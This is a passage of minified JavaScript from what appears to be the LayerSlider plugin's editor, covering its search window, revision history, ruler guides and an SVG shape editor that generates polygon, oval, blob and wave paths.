"+Math.round(parseFloat($lasso.css("top"))/LS_previewZoom)+"px"}),lsEditor.layers.transformHelper.update()})),setTimeout((function(){LayerSlider.updatePreviewSelection()}),200),LayerSlider.addFontsLoadedEvent(),jQuery("body").on("click",".lse-premium-lock",(function(e){e.preventDefault(),lsDisplayActivationWindow()})).on("click",".lse-premium-menu-button",(function(e){e.preventDefault(),lsDisplayActivationWindow({title:LS_l10n.activationGeneral})})).on("click",".lse-open-embed-modal",(function(e){e.preventDefault(),lsEditor.gui.close("ellipsis"),LS_editorUI.openEmbedModal()})).on("click",".lse-open-keyboard-shortcuts",(function(){lsEditor.gui.close("ellipsis"),LS_editorUI.openKeyboardShortcuts()})).on("click",".lse-open-project-spacing-settings",(function(e){e.preventDefault(),LayerSlider.openSliderSettings(),LayerSlider.switchSliderSettingsTab(1),setTimeout((function(){LayerSlider.highlightOptionRow(jQuery(".lse-project-spacing-row"))}),500)})).on("click",".lse-open-layer-overflow-settings",(function(e){e.preventDefault();let t=jQuery(".lse-overflow-layers-checkbox"),i=t.closest("lse-sidebar-body");jQuery("#lse-show-slide-settings").click(),lsEditor.form.selectCategory(i,t),lsEditor.form.highlightItem(t)})).on("click",".lse-open-slide-parallax-defaults",(function(e){e.preventDefault();let t=jQuery(".lse-editor-slide-parallax-type-input"),i=t.closest("lse-sidebar-body");jQuery("#lse-show-slide-settings").click(),lsEditor.form.selectCategory(i,t)})).on("click",".lse-open-project-parallax-defaults",(function(e){e.preventDefault(),LayerSlider.openSliderSettings(),LayerSlider.switchSliderSettingsTab(8)})).on("change",".lse-media-autoplay-notification",(function(){let e=lsSliderData.properties.autoplayvideos,t=LS_activeLayerDataSet[0].transition.autoplay,i=LS_activeLayerDataSet[0].transition.muted;if("inherit"===t&&e&&(t="enabled"),"enabled"===t&&"disabled"===i){let e=parseInt(localStorage["lse-media-autoplay-notification"])||0,t=Date.now()/1e3|0;t-300>e&&(localStorage["lse-media-autoplay-notification"]=t,lsCommon.smartAlert.open({title:LS_l10n.SBMediaAutoplayNoticeTitle,text:LS_l10n.SBMediaAutoplayNoticeText,width:600,buttons:{ok:{label:LS_l10n.okUnderstand}}}))}})),sliderBuilderIsReady()};jQuery(document).ready((function(){let e;window.lsSliderData?e=setInterval((function(){window.lsEditor&&(clearInterval(e),initSliderBuilder())}),50):sliderBuilderIsReady()}));var LS_SearchWindow={$window:jQuery("#lse-search-window"),$input:jQuery("#lse-search-window input"),init:function(){this.$window.prependTo("body"),this.$input.on("input",this.search),this.$window.on("click",".lse-search-match",(function(){LS_SearchWindow.performAction(this)})),this.$window.on("click",".lse-search-highlight",(function(){LS_SearchWindow.performHighlight(this)})),jQuery(document).on("keydown",this.navigation),jQuery(".lse-open-search-window").click(this.open),this.buildIndex()},open:()=>{LS_searchOpened?LS_SearchWindow.close():(LS_searchOpened=!0,jQuery("body").addClass("lse-show-search-window"),setTimeout((function(){LS_SearchWindow.$input.focus().select()}),100),setTimeout((function(){jQuery(document).off("click.lse-search-window").on("click.lse-search-window",(function(e){var t=jQuery(e.target);t.is("#lse-search-window")||t.closest("#lse-search-window").length||LS_SearchWindow.close()})),jQuery(document).keydown((function(e){27===e.which&&LS_SearchWindow.close()}))}),200))},close:()=>{LS_searchOpened=!1,jQuery(document).off("click.lse-search-window"),jQuery("body").removeClass("lse-show-search-window")},search:()=>{let e=LS_SearchWindow.$window,t=LS_SearchWindow.$input.val(),i=t.split(" "),a=i.shift().toLowerCase();if(LS_searchMatches=[],t.length<1)return jQuery(".lse-search-highlights-wrapper").show(),e.find(".lse-search-results-inner").html(""),void e.removeClass("lse-no-results lse-has-results");jQuery(".lse-search-highlights-wrapper").hide(),e.find(".lse-search-results").scrollTop(0),LS_SearchActions.forEach((function(e,t){e.actions.forEach((function(e,i){(-1!==e.name.toLowerCase().indexOf(a)||e.keywords&&-1!==e.keywords.toLowerCase().indexOf(a))&&(LS_searchMatches[t]||(LS_searchMatches[t]=[]),LS_searchMatches[t].push(e))}))})),i.forEach((function(e){(e=e.toLowerCase())&&LS_searchMatches.forEach((function(t,i){LS_searchMatches[i]=[],t.forEach((function(t,a){(-1!==t.name.toLowerCase().indexOf(e)||t.keywords&&-1!==t.keywords.toLowerCase().indexOf(e))&&LS_searchMatches[i].push(t)}))}))})),LS_searchMatches.length?e.removeClass("lse-no-results").addClass("lse-has-results"):e.addClass("lse-no-results").removeClass("lse-has-results");var r="";LS_searchMatches.forEach((function(e,t){if(e.length){var i=LS_SearchActions[t].name;r+='<div class="lse-search-heading">'+i+"</div>",r+='<div class="lse-search-matches">',e.forEach((function(e,i){var a=e.icon;0!==a.indexOf("<ls-icon")&&(a=LS_InterfaceIcons.search[e.icon]||LS_InterfaceIcons.layerTypes[e.icon]||LS_InterfaceIcons.search.circle),r+='<div class="lse-search-match" data-category="'+t+'" data-match="'+i+'"><div class="lse-search-match-inner">'+a+"<div>"+e.name+"</div></div></div>"})),r+="</div>"}})),e.find(".lse-search-results-inner").html(r),e.find(".lse-search-match").eq(0).addClass("lse-selected")},performHighlight:e=>{switch(jQuery(e).data("searchAction")){case"interfaceSettings":LS_SearchWindow.close(),setTimeout((function(){lsEditor.slideMenu.slideTo("ellipsisMenu","interfaceSettings")}),100);break;case"interactiveGuides":LS_SearchWindow.close(),setTimeout((function(){lsEditor.slideMenu.slideTo("ellipsisMenu","interactiveGuides")}),100);break;case"howToEmbed":LS_SearchWindow.close(),setTimeout((function(){LS_editorUI.openEmbedModal()}),100);break;case"getHelp":window.open("https://layerslider.com/help/");break;case"moreMenu":LS_SearchWindow.close(),setTimeout((function(){lsEditor.gui.open("ellipsis")}),100)}},performAction:e=>{var t=jQuery(e),i=LS_searchMatches[t.data("category")][t.data("match")];i&&i.action&&(i.action(),LS_SearchWindow.close())},navigation:()=>{if(LS_searchOpened){var e,t=jQuery(".lse-search-match"),i=jQuery(".lse-search-match").filter(".lse-selected"),a=i.length?i.index(".lse-search-match"):-1;if(40===event.which)event.preventDefault(),e=t[a+1]||i.length-1,(e=jQuery(e)).length&&(jQuery(".lse-search-match").removeClass("lse-selected"),e.addClass("lse-selected"));else if(38===event.which)event.preventDefault(),e=t[a-1]||t[0],(e=jQuery(e)).length&&(jQuery(".lse-search-match").removeClass("lse-selected"),e.addClass("lse-selected"));else if(13===event.which){if(event.preventDefault(),!i.length)return;var r=LS_searchMatches[i.data("category")][i.data("match")];r&&r.action&&(r.action(),LS_SearchWindow.close())}if(e&&e.length){var s=jQuery("#lse-search-window .lse-search-results"),l=s.height(),o=s.scrollTop(),n=e.position().top,d=e.height();n<o?0===e.index(".lse-search-match")&&o>0?s.scrollTop(0):s.scrollTop(n+15):n+d>l+o&&s.scrollTop(n+d-l+20)}}},buildIndex:()=>{var e={name:LS_l10n.SBSearchNavigation,actions:[]};jQuery("#lse-project-settings-sidebar kmw-menuitem").each((function(t){var i="<ls-icon>"+jQuery(this).find("kmw-icon").html()+"</ls-icon>",a=jQuery(this).find("kmw-menutext").text();e.actions.push({name:LS_l10n.SBProjectSettings+" &nbsp; &rarr; &nbsp; "+a,icon:i,keywords:"",action:function(){LayerSlider.openSliderSettings(),LayerSlider.switchSliderSettingsTab(t)}})})),jQuery("lse-slide-settings lse-sidebar-subnav lse-subnav-item").each((function(t){var i="<ls-icon>"+jQuery(this).find("ls-icon").html()+"</ls-icon>",a=jQuery(this),r=a.find("lse-text").text();e.actions.push({name:LS_l10n.SBSlideOptions+" &nbsp; &rarr; &nbsp; "+r,icon:i,keywords:"",action:function(){jQuery("#lse-show-slide-settings").click(),a.click(),lsEditor.form.highlightItem(a)}})})),jQuery("lse-layer-settings lse-sidebar-subnav lse-subnav-item").each((function(t){var i="<ls-icon>"+jQuery(this).find("ls-icon").html()+"</ls-icon>",a=jQuery(this),r=a.find("lse-text").text();e.actions.push({name:LS_l10n.SBLayerOptions+" &nbsp; &rarr; &nbsp; "+r,icon:i,keywords:"",action:function(){jQuery("#lse-show-layer-settings").click(),a.click(),lsEditor.form.highlightItem(a)}})})),LS_SearchActions.push(e);e={name:LS_l10n.SBProjectSettings,actions:[]};jQuery("#lse-project-settings-tabs").children().each((function(t){var i=jQuery(this),a=i.data("category"),r=i.find("[data-search-name]");(r=r.not('[type="range"]')).each((function(){let i=jQuery(this),r=i.closest("tr"),s=i.attr("data-search-keywords")||"";e.actions.push({name:LS_l10n.SBProjectSettings+" &nbsp; &rarr; &nbsp; "+a+" &nbsp; &rarr; &nbsp; "+jQuery(this).data("search-name"),icon:"",keywords:s,action:function(){if(LayerSlider.openSliderSettings(),LayerSlider.switchSliderSettingsTab(t),r.hasClass("lse-advanced")){let e=jQuery("#lse-show-advanced-settings").find(":checkbox");e.prop("checked")||e.click()}setTimeout((function(){LayerSlider.highlightOptionRow(r)}),500)}})}))})),LS_SearchActions.push(e);e={name:LS_l10n.SBSlideOptions,actions:[]};jQuery("lse-slide-settings lse-sidebar-body").each((function(t){var i=jQuery(this),a=i.data("section-name"),r=i.find("[data-search-name]");(r=r.not('[type="range"]')).each((function(){let t=jQuery(this),r="";t.is("select")&&t.find("option").each((function(){r+=" "+jQuery(this).text()})),e.actions.push({name:LS_l10n.SBSearchSlide+" &nbsp; &rarr; &nbsp; "+a+" &nbsp; &rarr; &nbsp; "+t.data("search-name"),icon:"",keywords:r,action:function(){t.is("lse-button")?t.click():(jQuery("#lse-show-slide-settings").click(),lsEditor.form.selectCategory(i,t),lsEditor.form.highlightItem(t))}})}))})),LS_SearchActions.push(e);e={name:LS_l10n.SBLayerOptions,actions:[]};jQuery("lse-layer-settings lse-sidebar-body").each((function(t){var i=jQuery(this),a=i.data("section-name"),r=i.find("[data-search-name]");(r=r.not('[type="range"]')).each((function(){let t=jQuery(this),r=t.closest("[data-section-name]"),s="",l="";if(t.is("select")&&t.find("option").each((function(){s+=" "+jQuery(this).text()})),r.length&&(l=r.data("section-name")),t.closest(".lse-placeholder").length)return!0;e.actions.push({name:LS_l10n.SBSearchLayers+" &nbsp; &rarr; &nbsp; "+(l||a)+" &nbsp; &rarr; &nbsp; "+t.data("search-name"),icon:"",keywords:s,action:function(){t.is("lse-button")?t.click():(jQuery("#lse-show-layer-settings").click(),lsEditor.form.selectCategory(i,t,r),lsEditor.form.highlightItem(t))}})}))})),LS_SearchActions.push(e)}};LS_Revisions={initialized:!1,opened:!1,revisions:[],value:1,max:1,selectedRevision:{},originalSliderData:{},$slider:jQuery("#lse-revisions-slider"),init:function(){let e;LS_Revisions.$slider.on("input",(function(){LS_Revisions.slideEvent(jQuery(this).val())})),jQuery("#lse-revisions-apply-button").click((function(){LS_Revisions.apply()})),jQuery("#lse-revisions-back-button").click((function(){var e=LS_Revisions.value-1||1;LS_Revisions.$slider.val(e),LS_Revisions.slideEvent(e)})),jQuery("#lse-revisions-forward-button").click((function(){var e=LS_Revisions.value+1||1;LS_Revisions.$slider.val(e),LS_Revisions.slideEvent(e)})),jQuery("#lse-revisions-settings input").on("input",(function(t){t.preventDefault(),clearTimeout(e),e=setTimeout((function(){let e=jQuery("#lse-revisions-settings :input").serialize();jQuery.post(ajaxurl,e,(function(){lsEditor.notify.show({icon:"save",text:LS_l10n.notifySettingsSaved,timeout:2e3})}))}),500)}))},slideEvent:function(e){lsEditor.preview.exit(),e=parseInt(e);var t=LS_Revisions.revisions[e-1]||{};LS_Revisions.value=e,LS_Revisions.updateUI(e),LS_Revisions.selectedRevision=t,window.lsSliderData=t.data,LS_activeSlideIndex+1>window.lsSliderData.layers.length&&(LS_activeSlideIndex=window.lsSliderData.layers.length-1),window.LS_activeSlideData=window.lsSliderData.layers[LS_activeSlideIndex],window.LS_activeLayerIndexSet=[0],LS_Revisions.updateRevisionDetails(),LayerSlider.rebuildSlides(),LayerSlider.generatePreview()},open:function(){if(LS_Revisions.initialized||(LS_Revisions.init(),LS_Revisions.initialized=!0),!LS_editorMeta.isActivatedSite)return lsEditor.revisions.exit(),void LS_Revisions.showWelcomeScreen();lsEditor.loading.show("modal"," "),LS_Revisions.originalSliderData=jQuery.extend(!0,{},window.lsSliderData),jQuery.getJSON(ajaxurl,{action:"ls_get_revisions",sliderID:LS_sliderID},(function(e){lsEditor.loading.hide(),$lsE.addClass("lse-show-revisions"),lsEditor.workspace.update("resizeWorkspace"),lsEditor.workspace.zoom.checkFit(),!e||e.length<2?(jQuery("lse-revisions-frame").addClass("lse-revisions-is-empty"),LS_Revisions.showWelcomeScreen()):jQuery("lse-revisions-frame").removeClass("lse-revisions-is-empty"),LS_Revisions.revisions=e,LS_Revisions.value=e.length,LS_Revisions.max=e.length,LS_Revisions.openUI()})).fail((function(){lsEditor.revisions.exit()}))},openUI:function(){LS_Revisions.opened=!0,LS_Revisions.$slider.attr("max",LS_Revisions.revisions.length),LS_Revisions.$slider.val(LS_Revisions.revisions.length),LS_Revisions.updateUI(),LayerSlider.hidePreviewSelection(),LayerSlider.disableSlideSortables()},updateUI:function(e){var t=LS_Revisions.value,i=LS_Revisions.max,a=jQuery("#lse-revisions-back-button"),r=jQuery("#lse-revisions-forward-button");a[1===t?"addClass":"removeClass"]("lse-disabled"),r[t===i?"addClass":"removeClass"]("lse-disabled"),LS_Revisions.selectedRevision=LS_Revisions.revisions[t-1]||{},LS_Revisions.updateRevisionDetails()},close:function(){LS_Revisions.opened=!1,jQuery.isEmptyObject(LS_Revisions.originalSliderData)||(window.lsSliderData=jQuery.extend(!0,{},LS_Revisions.originalSliderData),LS_DataSource.reloadEditorData()),LayerSlider.showPreviewSelection(),LayerSlider.enableSlideSortables()},apply:function(){jQuery("#lse-revisions-apply-button").text(LS_l10n.SBRevisionsLoading).addClass("lse-disabled"),jQuery.post(ajaxurl,jQuery("lse-revisions-frame :input").serialize(),(function(){window.location.reload(!0)}))},updateRevisionDetails:function(){var e=LS_Revisions.selectedRevision||{};jQuery("#lse-revision-author").text(e.nickname),jQuery("#lse-revisions-time-diff").text(e.time_diff),jQuery("#lse-revisions-date").text(e.created),jQuery("#lse-revisions-oldest").text(LS_Revisions.revisions[0]?LS_Revisions.revisions[0].created:""),jQuery("#lse-revision-id").val(e.id)},showWelcomeScreen:function(e){e=e||{},e=jQuery.extend(!0,e,{content:"#lse-revisions-welcome-template",maxWidth:960,modalClasses:"lse-revisions-modal-window"}),kmw.modal.open(e)}},function($){$.fn.lsRuler=function(e){e=e||50;$("#lse-ruler-wrapper-h").draggable({axis:"y",noRecoup:!0,distance:0,cursorAt:{top:0},helper:function(){return $('<div class="lse-ruler-line lse-ruler-line-x">').appendTo($lsEwc)},stop:function(e,t){let i=$("#lse-ruler-wrapper-h"),a=i.offset().top,r=i.height();if(!(0>=t.offset.top-(a+r))){var s=t.helper.clone();s.removeClass("ui-draggable-dragging"),s.draggable({axis:"y",noRecoup:!0,distance:0,drag:function(e,t){t.position.top+=e.pageY-t.offset.top},stop:function(e,t){0>=t.offset.top-(a+r)?t.helper.remove():t.helper.data({originalTop:t.position.top/LS_previewZoom,originalLeft:t.position.left/LS_previewZoom})}}).data({originalTop:t.position.top/LS_previewZoom,originalLeft:t.position.left/LS_previewZoom}).appendTo($lsEwc)}}}),$("#lse-ruler-wrapper-v").draggable({axis:"x",noRecoup:!0,distance:0,cursorAt:{left:0},helper:function(){return $('<div class="lse-ruler-line lse-ruler-line-y">').appendTo($lsEwc)},stop:function(e,t){let i=$("#lse-ruler-wrapper-v"),a=i.offset().left,r=i.width();if(!(0>=t.offset.left-(a+r))){var s=t.helper.clone();s.removeClass("ui-draggable-dragging"),s.draggable({axis:"x",noRecoup:!0,distance:0,drag:function(e,t){t.position.left+=e.pageX-t.offset.left},stop:function(e,t){0>=t.offset.left-(a+r)?t.helper.remove():t.helper.data({originalTop:t.position.top/LS_previewZoom,originalLeft:t.position.left/LS_previewZoom})}}).data({originalTop:t.position.top/LS_previewZoom,originalLeft:t.position.left/LS_previewZoom}).appendTo($lsEwc)}}});return this}}(jQuery);var LS_shapeEditor_originalSettings={polygon:{type:"polygon",sideCount:6,sideLength:200,radius:5,strokeWidth:0,strokeColor:"#000000",fillColor:"#0099ff"},oval:{type:"oval",width:150,height:150,strokeWidth:0,strokeColor:"#000000",fillColor:"#0099ff"},rectangle:{type:"rectangle",width:200,height:150,radius:5,strokeWidth:0,strokeColor:"#000000",fillColor:"#0099ff"},line:{type:"line",radius:0,length:150,strokeWidth:5,lineWidth:10,fillColor:"#000000",roundedEndings:!0},blob:{type:"blob",complexity:5,variation:30,layers:1,fillColor:"#0099ff"},wave:{type:"wave",complexity:7,variation:30,balance:50,layers:1,fillColor:"#0099ff",waveType:"smooth",waveDirection:"down",perfection:!1,invert:!1,xCoords:null,yRandoms:null,lineLevels:null}};class LS_ShapeEditor{constructor(e,t,i){this.props=t?JSON.parse(JSON.stringify(t)):{},this.htmlToPreview="",this.layerIndex=void 0===i?null:i,this.type=this.props.type||"polygon",this.paths=[],this.viewBoxToInsert,this.previewViewBox,this.$modal,this.$preview,this.svg,this.open(),this.setProps(),this.setModal(),this.createShape(),this.setPreview(),this.events()}open(){this.$modal=kmw.modal.open({content:"#tmpl-shape-modal",maxWidth:1600,maxHeight:"100%",modalClasses:"lse-edit-shape-modal",contentClasses:"lse-scrollbar lse-scrollbar-dark",sidebar:{left:{title:null===this.layerIndex?LS_l10n.SBInsertShapeTitle:LS_l10n.SBModifyShapeTitle,customHeaderHeight:!0,width:300,content:jQuery("#tmpl-shape-modal-left-sidebar")},right:{title:LS_l10n.SBInsertShapeDefaultTitle,customHeaderHeight:!0,width:300,content:jQuery("#tmpl-shape-modal-sidebar")}}}),this.$preview=jQuery(".lse-shape-modal-preview-area",this.$modal)}events(){this.$modal.on("input",'[name="sideCount"],[name="sideLength"],[name="radius"],[name="width"],[name="height"],[name="length"],[name="roundedEndings"],[name="strokeWidth"], [name="lineWidth"]',(e=>{let t=jQuery(e.target).attr("name")||jQuery(e.target).next().attr("name"),i=jQuery(e.target).is(":checkbox")?jQuery(e.target).prop("checked"):jQuery(e.target).val();this.props[t]=Number(i),this.createShape(),"sideCount"===t?this.setPreview(!0):this.setPreview()})),this.$modal.on("input",'[name="fillColor"]',(()=>{this.props.fillColor=jQuery('[name="fillColor"]:visible').val(),this.setPreview()})),this.$modal.on("input",'[name="strokeColor"]',(()=>{this.props.strokeColor=jQuery('[name="strokeColor"]:visible').val(),this.createShape(),this.setPreview()})),this.$modal.on("input",'[name="complexity"]',(()=>{this.props.complexity=Number(jQuery(event.target).val()),"wave"==this.type&&(this.props.xCoords=null,this.props.yRandoms=null,this.props.lineLevels=null),"blob"===this.type&&(this.props.randoms=null,this.props.angles=null),this.createShape(),this.setPreview(!0)})),this.$modal.on("input",'[name="variation"]',(()=>{this.props.variation=Number(jQuery(event.target).val()),this.createShape(),this.setPreview()})),this.$modal.on("input",'[name="balance"]',(()=>{this.props.balance=Number(jQuery(event.target).val()),this.props.lineLevels=null,this.createShape(),this.setPreview()})),this.$modal.on("input",'[name="layers"]',(()=>{this.props.layers=Number(jQuery(event.target).val()),"wave"===this.type&&(this.props.xCoords=null,this.props.lineLevels=null,this.props.yRandoms=null),"blob"===this.type&&(this.props.randoms=null,this.props.angles=null),this.createShape(),this.setPreview(!0)})),this.$modal.on("click",".lse-shape-modal-insert:not(.lse-premium-lock)",(()=>{this.insert()})),this.$modal.on("click",".lse-shape-modal-wave-type",(e=>{this.props.waveType=jQuery(e.currentTarget).attr("data-wave-type"),this.createShape(),this.setPreview(!0)})),this.$modal.on("click",".lse-shape-modal-wave-direction",(e=>{this.props.waveDirection=jQuery(e.currentTarget).attr("data-wave-direction"),this.createShape(),this.setPreview()})),this.$modal.on("click",".lse-shape-modal-randomize",(()=>{"wave"===this.type&&(jQuery(".lse-shape-modal-perfectionize.lse-active").removeClass("lse-active"),this.props.perfection=!1,this.props.xCoords=null,this.props.lineLevels=null,this.props.yRandoms=null),"blob"===this.type&&(this.props.randoms=null,this.props.angles=null),this.createShape(),this.setPreview(!0)})),this.$modal.on("click",".lse-shape-modal-perfectionize",(e=>{this.props.perfection?this.props.perfection=!1:this.props.perfection=!0,this.props.xCoords=null,this.props.lineLevels=null,this.props.yRandoms=null,this.createShape(),this.setPreview(!0)})),this.$modal.on("click",".lse-shape-modal-invert",(()=>{this.props.invert=!this.props.invert,this.createShape(),this.setPreview(!0)})),this.$modal.on("click","kmw-menuitem",(e=>{let t=jQuery(e.currentTarget).attr("data-shape-type"),i=jQuery(e.currentTarget).attr("data-shape-name");this.type=t,jQuery(".lse-shape-modal-oval, .lse-shape-modal-rectangle, .lse-shape-modal-polygon, .lse-shape-modal-line, .lse-shape-modal-wave, .lse-shape-modal-blob").removeClass("lse-visible"),jQuery(".lse-shape-modal-"+t).addClass("lse-visible"),this.props=JSON.parse(JSON.stringify(LS_shapeEditor_originalSettings[this.type])),this.createShape(),this.setModal(),this.setTitle(i),this.setPreview()}))}setTitle(e){this.$modal.find(".kmw-sidebar-right .kmw-sidebar-title").text(LS_l10n.SBShapeOptionsTitle.replace("%s",e))}setProps(){jQuery.isEmptyObject(this.props)&&(this.props=JSON.parse(JSON.stringify(LS_shapeEditor_originalSettings[this.type])))}setModal(){for(var e in jQuery(".lse-shape-modal-oval, .lse-shape-modal-rectangle, .lse-shape-modal-polygon, .lse-shape-modal-line, .lse-shape-modal-wave, .lse-shape-modal-blob").removeClass("lse-visible"),jQuery(`.lse-shape-modal-${this.type}`).addClass("lse-visible"),this.props){let t=jQuery('input[name="'+e+'"]',this.$modal);t.is(":checkbox")?t.prop("checked",this.props[e]):t.val(this.props[e]).prev("input").val(this.props[e])}null===this.layerIndex?jQuery("lse-button.lse-shape-modal-insert lse-text",this.$modal).text(LS_l10n.SBInsertShapeTitle):jQuery("lse-button.lse-shape-modal-insert lse-text",this.$modal).text(LS_l10n.SBModifyShapeTitle),jQuery("#tmpl-shape-modal-sidebar .lse-color-input input").each(((e,t)=>{LS_GUI.updateColorPicker(jQuery(t))})),this.$modal.attr("data-shape-type",this.type).find(".kmw-sidebar-left kmw-menuitem.kmw-active").removeClass("kmw-active");let t=this.$modal.find(`.kmw-sidebar-left kmw-menuitem[data-shape-type="${this.type}"]`).addClass("kmw-active");this.setTitle(t.attr("data-shape-name")),this.$modal.find(".lse-shape-modal-randomize").each((function(){let e,t=jQuery(this),i=t.find("ls-icon"),a=(t.find("svg"),t.data());a.initialized||(t.on("mouseenter",(function(){i.addClass("lse-transition"),e=setInterval((function(){i.removeClass("lse-show-dice-1").removeClass("lse-show-dice-2").removeClass("lse-show-dice-3").removeClass("lse-show-dice-4").removeClass("lse-show-dice-5").removeClass("lse-show-dice-6").addClass("lse-show-dice-"+Math.floor(6*Math.random()+1))}),500)})).on("mouseleave",(function(){clearInterval(e),i.removeClass("lse-transition")})),a.initialized=!0)})),"wave"==this.type&&(jQuery(".lse-shape-modal-wave-type").removeClass("lse-active").filter('[data-wave-type="'+this.props.waveType+'"]').addClass("lse-active"),jQuery(".lse-shape-modal-wave-direction").removeClass("lse-active").filter('[data-wave-direction="'+this.props.waveDirection+'"]').addClass("lse-active"),jQuery(".lse-shape-modal-invert")[(this.props.invert?"add":"remove")+"Class"]("lse-active"),jQuery(".lse-shape-modal-perfectionize")[(this.props.perfection?"add":"remove")+"Class"]("lse-active"))}setPreview(e=!1){if(e)if(this.$preview.css("color",this.props.fillColor||"initial"),"polygon"===this.type)TweenLite.to(".lse-shape-modal-preview-area path",.25,{morphSVG:this.paths[0]}),TweenLite.to(".lse-shape-modal-preview-area svg",.25,{attr:{viewBox:this.previewViewBox}});else{let e=jQuery(".lse-shape-modal-preview-area path").length,t=e>this.props.layers?this.props.layers:e;for(let e=0;e<t;e++)TweenLite.to(`.lse-shape-modal-preview-area path:eq(${e})`,.25,{morphSVG:this.paths[e]});if(e>this.props.layers){let t=jQuery(".lse-shape-modal-preview-area path");for(let i=this.props.layers;i<e;i++)t.eq(i).remove();for(let e=0;e<this.props.layers;e++)jQuery(`.lse-shape-modal-preview-area path:eq(${e})`).attr("fill-opacity",this.props.fillOpacities[e])}if(e<this.props.layers){for(let t=e;t<this.props.layers;t++){let e=jQuery(this.svg.childNodes[t]).clone();jQuery(".lse-shape-modal-preview-area svg").append(e)}for(let e=0;e<this.props.layers;e++)jQuery(`.lse-shape-modal-preview-area path:eq(${e})`).attr("fill-opacity",this.props.fillOpacities[e])}}else this.$preview.css("color",this.props.fillColor||"initial").html(this.htmlToPreview);if("wave"==this.type){let e,t,i,a,r,s=lsEditor.workspace.getSize(),l=jQuery('.kmw-modal-container[data-shape-type="wave"] .lse-shape-modal-preview-area'),o=jQuery('.kmw-modal-container[data-shape-type="wave"] .kmw-modal-content'),n=s.width/s.height;jQuery(window).on("resize.lsewaveshape",(function(){let s="auto",d="auto";i=o.width()-2,a=o.height()-2,r=i/a,n>=r?(s=i,d="100%",e="100%",t=i/n):(s="100%",d=a,t="100%",e=a*n),l.css({maxWidth:s,maxHeight:d,width:e,height:t})})),jQuery(window).trigger("resize.lsewaveshape")}else jQuery(".lse-shape-modal-preview-area").css({width:"auto",height:"auto"}),jQuery(window).off("resize.lsewaveshape")}createShape(){let e="http://www.w3.org/2000/svg",t=document.createElementNS(e,"svg"),i=document.createElementNS(e,"svg");"polygon"===this.type&&this.polygon(),"oval"===this.type&&this.oval(),"rectangle"!==this.type&&"line"!==this.type||this.rectangle(),"blob"===this.type&&this.blob(),"wave"===this.type&&this.wave(),this.setAttrs(t,{xmlns:e,viewBox:this.previewViewBox,preserveAspectRatio:"none"}),this.paths.forEach(((i,a)=>{let r=document.createElementNS(e,"path");this.setAttrs(r,{fill:"currentColor",d:i}),this.props.fillOpacities&&this.setAttrs(r,{"fill-opacity":this.props.fillOpacities[a]}),this.props.strokeWidth&&this.setAttrs(r,{"stroke-width":this.props.strokeWidth||0,stroke:this.props.strokeColor}),"line"===this.props.type&&this.setAttrs(r,{stroke:"currentColor"}),this.props.roundedEndings&&this.setAttrs(r,{"stroke-linejoin":"round"}),t.appendChild(r)})),this.htmlToPreview=t.outerHTML,"wave"!==this.type?this.htmlToInsert=this.htmlToPreview:(this.setAttrs(i,{xmlns:e,viewBox:this.viewBoxToInsert,preserveAspectRatio:"none"}),this.paths.forEach(((t,a)=>{let r=document.createElementNS(e,"path");this.setAttrs(r,{fill:"currentColor",d:t}),this.props.fillOpacities&&this.setAttrs(r,{"fill-opacity":this.props.fillOpacities[a]}),i.appendChild(r)})),this.htmlToInsert=i.outerHTML),this.svg=t}insert(){let e=null===this.layerIndex,t=e?{styles:{},transition:{}}:LS_activeLayerDataSet[0],i=lsEditor.workspace.getSize(),a={html:t.html,shapeData:t.shapeData,styles:{},transition:{}},r={html:this.htmlToInsert,shapeData:this.props,styles:{},transition:{}};if(t.html=this.htmlToInsert,t.shapeData=this.props,"wave"===this.props.type){switch(a.styles={width:t.styles.width,height:t.styles.height,left:t.styles.left,top:t.styles.top},a.transition={position:t.transition.position},this.props.waveDirection){case"down":r.styles={width:"100%",height:Math.round(i.width/this.insertedAspectRatio)+"px",left:"",top:"100%"};break;case"left":r.styles={width:Math.round(i.height*this.insertedAspectRatio)+"px",height:"100%",left:"",top:""};break;case"up":r.styles={width:"100%",height:Math.round(i.width/this.insertedAspectRatio)+"px",left:"",top:""};break;case"right":r.styles={width:Math.round(i.height*this.insertedAspectRatio)+"px",height:"100%",left:"100%",top:""}}r.transition={position:"fixed"},jQuery.extend(t.styles,r.styles),jQuery.extend(t.transition,r.transition)}this.props.fillColor&&(a.styles.color=t.styles.color,r.styles.color=this.props.fillColor,t.styles.color=this.props.fillColor),kmw.modal.close(),e?setTimeout((function(){LayerSlider.addFormattedLayer("shape",t)}),400):(LS_UndoManager.add("layer.general","MODIFY_SHAPE",{itemIndex:this.layerIndex,undo:a,redo:r}),LS_DataSource.buildLayersListItem(),LS_DataSource.buildLayer(),LayerSlider.generatePreviewItem(this.layerIndex),LayerSlider.autoRenameLayer(LS_activeLayerIndexSet[0]))}setAttrs(e,t){for(var i in t)t.hasOwnProperty(i)&&e.setAttribute(i,t[i])}polygon(){var e=this.props.sideCount,t=this.props.sideLength,i=this.props.radius,a=(e-2)*Math.PI/e/2,r=Math.sin(a),s=Math.cos(a),l=t-2/Math.tan(a)*i,o=2*s*i,n=t/s,d=0;if(e%2){var c=n/2+n/2*r;d=((n=Math.sqrt(Math.pow(t/2,2)+Math.pow(c,2)))-c)/2}function u(e){return Math.floor((e+2*Math.PI)%(2*Math.PI)/(Math.PI/2))+1}for(var p=[[0,i/r-i*r+d]],y=[a-Math.PI/2],h=0,S=1;S<=e;S+=1){var m=y[S-1],v=m+Math.PI-2*a,L=(m+v)/2,g=u(m),f=u(v);1===g&&f>=2&&f<=3&&(h=Math.cos(Math.abs(L-Math.PI/2))*i/r-i),y.push(v),p.push([Math.cos(L)*o,Math.sin(L)*o]),S!==e&&p.push([Math.cos(v)*l,Math.sin(v)*l])}var b=i/r-i;e%2?(n-=2*h,p[0][1]-=(2*h+b)/2):(n-=2*b,p[0][1]-=b),p[0][0]=n/2-s*i;var w=Math.ceil(n),_=(w-n)/2;function x(e){var t=+e.toPrecision(14);return Math.abs(t)<1e-13&&(t=0),t}p[0][0]+=_,p[0][1]+=_;var j=[];p.forEach((function(e,t){var a=x(e[0]),r=x(e[1]);0===t?j.push("M"+a+" "+r):t%2?j.push("a"+i+" "+i+" 0 0 1 "+a+" "+r):j.push("l"+a+" "+r)}));var k=j.join("");k+=`l ${p[2][0]} -${p[2][1]}`,this.props.width=w,this.props.height=w,this.paths=[k],this.previewViewBox=`-${this.props.strokeWidth/2} -${this.props.strokeWidth/2} ${w+this.props.strokeWidth} ${w+this.props.strokeWidth}`,this.viewBoxToInsert=this.previewViewBox}oval(){var 